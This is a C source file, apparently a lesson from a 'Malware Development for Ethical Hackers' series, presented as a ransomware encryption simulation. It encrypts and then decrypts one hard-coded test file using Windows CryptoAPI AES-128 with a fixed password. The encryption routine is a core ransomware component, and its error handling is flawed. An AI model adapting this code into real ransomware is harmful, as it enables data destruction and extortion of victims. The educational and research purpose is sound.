/*
 * Malware Development for Ethical Hackers
 * hack.c - Ransomware AES encryption simulation
 * author @cocomelonc
*/
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)

void encryptFile(const char* inputFile, const char* outputFile, const char* aesKey) {
  HCRYPTPROV hCryptProv;
  HCRYPTKEY hKey;
  HANDLE hInputFile = INVALID_HANDLE_VALUE;
  HANDLE hOutputFile = INVALID_HANDLE_VALUE;

  // Open input file for reading
  hInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hInputFile == INVALID_HANDLE_VALUE) {
    return;
  }

  // Check file size
  LARGE_INTEGER fileSize;
  if (!GetFileSizeEx(hInputFile, &fileSize)) {
    CloseHandle(hInputFile);
    return;
  }

  // Encrypt only if file size is less than 128MB
  if (fileSize.QuadPart > 128 * 1024 * 1024) {
    CloseHandle(hInputFile);
    return;
  }

  // Create output file for writing
  hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hOutputFile == INVALID_HANDLE_VALUE) {
    CloseHandle(hInputFile);
    return;
  }

  // Cryptographic service provider
  if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  HCRYPTHASH hHash;
  if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  if (!CryptHashData(hHash, (BYTE*)aesKey, strlen(aesKey), 0)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  const size_t chunk_size = OUT_CHUNK_SIZE;
  BYTE* chunk = (BYTE*)malloc(chunk_size);
  DWORD out_len = 0;

  BOOL isFinal = FALSE;
  DWORD readTotalSize = 0;
  BOOL bResult = FALSE;

  while (bResult = ReadFile(hInputFile, chunk, IN_CHUNK_SIZE, &out_len, NULL)) {
    if (0 == out_len) {
      break;
    }
    readTotalSize += out_len;
    if (readTotalSize >= fileSize.QuadPart) {
      isFinal = TRUE;
    }

    if (!CryptEncrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len, chunk_size)) {
      break;
    }

    DWORD written = 0;
    if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {
      break;
    }

    memset(chunk, 0, chunk_size);
  }

  if (hKey) {
    CryptDestroyKey(hKey);
  }
  if (hCryptProv) {
    CryptReleaseContext(hCryptProv, 0);
  }
  if (hInputFile != INVALID_HANDLE_VALUE) {
    CloseHandle(hInputFile);
  }
  if (hOutputFile != INVALID_HANDLE_VALUE) {
    CloseHandle(hOutputFile);
  }

  free(chunk);
}

void decryptFile(const char* inputFile, const char* outputFile, const BYTE* aesKey) {
  HCRYPTPROV hCryptProv;
  HCRYPTKEY hKey;
  HANDLE hInputFile = INVALID_HANDLE_VALUE;
  HANDLE hOutputFile = INVALID_HANDLE_VALUE;


  DWORD len = strlen((const char*)aesKey);
  DWORD key_size = len * sizeof(aesKey[0]);

  // Open input file for reading
  hInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hInputFile == INVALID_HANDLE_VALUE) {
    return;
  }

  // Create output file for writing
  hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hOutputFile == INVALID_HANDLE_VALUE) {
    return;
  }

  // Cryptographic service provider
  if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  HCRYPTHASH hHash;
  if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  BYTE utf8ByteArray[32];
  strcpy((char*)utf8ByteArray, (const char*)aesKey);

  if (!CryptHashData(hHash, utf8ByteArray, key_size, 0)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
    return;
  }

  // HCRYPTKEY hKey;
  if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
    return;
  }

  const size_t chunk_size = IN_CHUNK_SIZE;
  BYTE* chunk = (BYTE*)malloc(chunk_size);
  DWORD out_len = 0;

  BOOL isFinal = FALSE;
  DWORD readTotalSize = 0;
  BOOL bResult = FALSE;

  DWORD inputSize = GetFileSize(hInputFile, NULL);

  while (bResult = ReadFile(hInputFile, chunk, IN_CHUNK_SIZE, &out_len, NULL)) {
    if (0 == out_len) {
      break;
    }
    readTotalSize += out_len;
    if (readTotalSize >= inputSize) {
      isFinal = TRUE;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len)) {
      CryptDestroyKey(hKey);
      CryptReleaseContext(hCryptProv, 0);
      break;
    }
    DWORD written = 0;
    if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {
      CloseHandle(hOutputFile);
      break;
    }
    memset(chunk, 0, chunk_size);
  }

  if (hKey) {
    CryptDestroyKey(hKey);
  }
  if (hCryptProv) {
    CryptReleaseContext(hCryptProv, 0);
  }
  if (hInputFile != INVALID_HANDLE_VALUE) {
    CloseHandle(hInputFile);
  }
  if (hOutputFile != INVALID_HANDLE_VALUE) {
    CloseHandle(hOutputFile);
  }

  free(chunk);
}

int main() {
  // test private key (replace with your actual private key)
  const char* aesKey = "mymy16ByteKey12";

  // test files (replace with the path to your test file)
  const char* inputFile = "C:\\Users\\user\\Desktop\\test.txt";
  const char* encryptedFile = "C:\\Users\\user\\Desktop\\test.txt.AES";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\test.txt.decrypted";

  // encrypt the file
  encryptFile(inputFile, encryptedFile, aesKey);

  // decrypt the file
  decryptFile(encryptedFile, decryptedFile, (const BYTE*)aesKey);

  return 0;
}
